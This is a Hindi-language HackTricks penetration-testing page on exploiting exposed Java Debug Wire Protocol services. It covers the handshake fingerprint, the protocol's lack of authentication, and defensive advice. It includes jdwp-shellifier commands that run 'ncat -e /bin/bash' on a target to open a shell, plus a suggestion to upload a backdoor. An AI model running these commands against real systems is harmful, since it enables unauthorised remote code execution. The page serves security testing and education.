Pentesting JDWP - Java Debug Wire Protocol

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Exploiting

JDWP शोषण प्रोटोकॉल की प्रमाणीकरण और एन्क्रिप्शन की कमी पर निर्भर करता है। यह सामान्यतः पोर्ट 8000 पर पाया जाता है, लेकिन अन्य पोर्ट भी संभव हैं। प्रारंभिक कनेक्शन "JDWP-Handshake" को लक्षित पोर्ट पर भेजकर बनाया जाता है। यदि JDWP सेवा सक्रिय है, तो यह उसी स्ट्रिंग के साथ प्रतिक्रिया देती है, इसकी उपस्थिति की पुष्टि करती है। यह हैंडशेक नेटवर्क पर JDWP सेवाओं की पहचान के लिए एक फिंगरप्रिंटिंग विधि के रूप में कार्य करता है।

प्रक्रिया पहचान के संदर्भ में, Java प्रक्रियाओं में "jdwk" स्ट्रिंग की खोज करना एक सक्रिय JDWP सत्र को इंगित कर सकता है।

उपयोग करने के लिए सबसे अच्छा उपकरण jdwp-shellifier है। आप इसे विभिन्न पैरामीटर के साथ उपयोग कर सकते हैं:

bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

मैंने पाया कि --break-on 'java.lang.String.indexOf' का उपयोग करने से एक्सप्लॉइट अधिक स्थिर हो जाता है। और यदि आपके पास होस्ट पर एक बैकडोर अपलोड करने और उसे कमांड चलाने के बजाय निष्पादित करने का मौका है, तो एक्सप्लॉइट और भी अधिक स्थिर होगा।

अधिक विवरण

यह https://ioactive.com/hacking-java-debug-wire-protocol-or-how/ का सारांश है। आगे के विवरण के लिए इसे देखें।

  1. JDWP अवलोकन:
  • यह एक पैकेट-आधारित नेटवर्क बाइनरी प्रोटोकॉल है, जो मुख्य रूप से समकालिक है।
  • इसमें प्रमाणीकरण और एन्क्रिप्शन की कमी है, जिससे यह शत्रुतापूर्ण नेटवर्क के सामने कमजोर हो जाता है।
  1. JDWP हैंडशेक:
  • संचार शुरू करने के लिए एक सरल हैंडशेक प्रक्रिया का उपयोग किया जाता है। एक 14-चर ASCII स्ट्रिंग “JDWP-Handshake” डिबगर (क्लाइंट) और डिबगी (सर्वर) के बीच आदान-प्रदान की जाती है।
  1. JDWP संचार:
  • संदेशों की एक सरल संरचना होती है जिसमें Length, Id, Flag, और CommandSet जैसे फ़ील्ड होते हैं।
  • CommandSet मान 0x40 से 0x80 के बीच होते हैं, जो विभिन्न क्रियाओं और घटनाओं का प्रतिनिधित्व करते हैं।
  1. शोषण:
  • JDWP मनमाने वर्गों और बाइटकोड को लोड और निष्पादित करने की अनुमति देता है, जो सुरक्षा जोखिम पैदा करता है।
  • लेख में पांच चरणों में एक शोषण प्रक्रिया का विवरण दिया गया है, जिसमें जावा रनटाइम संदर्भों को लाना, ब्रेकपॉइंट सेट करना, और विधियों को कॉल करना शामिल है।
  1. वास्तविक जीवन में शोषण:
  • संभावित फ़ायरवॉल सुरक्षा के बावजूद, JDWP सेवाएँ खोजने योग्य और वास्तविक दुनिया के परिदृश्यों में शोषण योग्य हैं, जैसा कि ShodanHQ और GitHub जैसे प्लेटफार्मों पर खोजों द्वारा प्रदर्शित किया गया है।
  • एक्सप्लॉइट स्क्रिप्ट को विभिन्न JDK संस्करणों के खिलाफ परीक्षण किया गया था और यह प्लेटफ़ॉर्म-स्वतंत्र है, जो विश्वसनीय रिमोट कोड निष्पादन (RCE) प्रदान करता है।
  1. सुरक्षा निहितार्थ:
  • इंटरनेट पर खुले JDWP सेवाओं की उपस्थिति नियमित सुरक्षा समीक्षाओं की आवश्यकता को उजागर करती है, उत्पादन में डिबग कार्यक्षमताओं को अक्षम करना, और उचित फ़ायरवॉल कॉन्फ़िगरेशन।

संदर्भ:

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें